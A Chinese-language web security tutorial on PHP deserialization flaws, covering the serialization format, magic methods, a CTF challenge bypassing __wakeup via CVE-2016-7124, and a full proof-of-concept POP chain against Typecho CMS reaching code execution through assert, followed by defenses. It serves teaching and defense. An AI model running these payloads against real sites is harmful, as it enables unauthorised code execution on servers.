[红日安全]Web安全Day15 - 反序列化实战攻防
字数 1584 2025-08-18 11:39:23
PHP反序列化漏洞深度解析与实战
一、反序列化基础概念
1.1 序列化与反序列化定义
序列化:将对象转换为可存储或传输的字符串格式的过程。在PHP中,序列化会保留对象的类名和属性值,但不包含方法。
反序列化:将序列化字符串还原为对象的过程。反序列化后的对象可以调用原始类的方法(前提是在相同域中)。
1.2 PHP序列化格式解析
示例类:
class userInfo {
private $passwd = 'weak';
protected $sex = 'male';
public $name = 'ama666';
}
序列化结果:
O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";}
格式说明:
O:8:"userInfo":对象(Object),类名长度8,类名"userInfo":3::对象有3个属性{}内为属性键值对- 不同权限属性的表示:
- private:
类名+属性名(如userInfopasswd) - protected:
*+属性名(如*sex) - public:直接属性名(如
name)
- private:
二、PHP魔法函数与反序列化漏洞
2.1 关键魔法函数
-
__wakeup()
- 在反序列化时自动调用
- 常用于资源初始化
-
__destruct()
- 对象销毁时自动调用
- 反序列化后对象生命周期结束时触发
-
__construct()
- 对象创建时调用
- 在反序列化时不会调用
-
__toString()
- 对象被当作字符串使用时调用
- 触发场景广泛(字符串连接、格式化、比较等)
-
__get()
- 访问不可访问属性时调用
- 可用于属性访问链式利用
-
__call()
- 调用未定义方法时触发
- 接收方法名和参数数组
2.2 漏洞形成原理
反序列化漏洞利用条件:
- 存在可控的反序列化输入点
- 目标类中存在可自动触发的魔法函数
- 魔法函数中存在危险操作(如文件操作、命令执行等)
三、CTF实战案例解析
3.1 题目代码分析
class SoFun {
protected $file = 'index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
show_source(dirname(__FILE__).'/'.$this->file);
else
die('Wrong filename.');
}
}
function __wakeup() {
$this->file = 'index.php';
}
}
3.2 利用技巧 - CVE-2016-7124
漏洞特征:
当序列化字符串中表示对象属性个数的值大于实际属性个数时,会跳过__wakeup()的执行。
利用步骤:
- 构造恶意对象:
class SoFun {
protected $file = 'flag.php';
}
$poc = new SoFun;
echo serialize($poc);
// 输出:O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
- 修改属性计数:
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}
- Base64编码后提交
四、Typecho CMS反序列化漏洞实战
4.1 漏洞链分析(POP链)
- 入口点:
install.php中unserialize(Typecho_Cookie::get()) - 链式调用:
- 触发
Typecho_Db的__construct() - 触发
Typecho_Feed的__toString() - 触发
Typecho_Request的__get() - 最终执行
call_user_func
- 触发
4.2 完整POC构造
class Typecho_Feed {
private $_type = 'ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array('0' => array(
'author' => new Typecho_Request()
));
}
}
class Typecho_Request {
private $_params = array('screenName' => 'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho'
);
echo base64_encode(serialize($poc));
4.3 漏洞利用流程
- 构造上述POC获取序列化字符串
- 将字符串作为Cookie或POST数据提交
- 服务器反序列化时触发整个调用链
- 最终执行
call_user_func('assert', 'phpinfo()')
五、防御措施
-
输入过滤
- 对反序列化数据进行严格校验
- 使用白名单机制限制反序列化的类
-
安全配置
- 避免反序列化用户可控数据
- 使用
php.ini的unserialize_callback_func设置回调函数
-
代码层面
- 避免在魔法函数中执行危险操作
- 对敏感操作增加权限检查
-
PHP版本升级
- 修复已知的反序列化漏洞(如CVE-2016-7124)
- 使用最新安全补丁
六、扩展知识
6.1 其他语言的序列化漏洞
虽然本文主要讨论PHP,但反序列化漏洞也存在于:
- Java(Apache Commons Collections等)
- Python(pickle模块)
- .NET(BinaryFormatter等)
6.2 高级利用技巧
- 属性注入:通过修改序列化字符串中的属性值
- 对象注入:注入非预期类的对象
- 引用绕过:利用序列化中的引用特性绕过检查
- 字符逃逸:通过精心构造字符串改变序列化结构
通过深入理解这些原理和技术,安全研究人员可以更有效地发现和防御反序列化漏洞。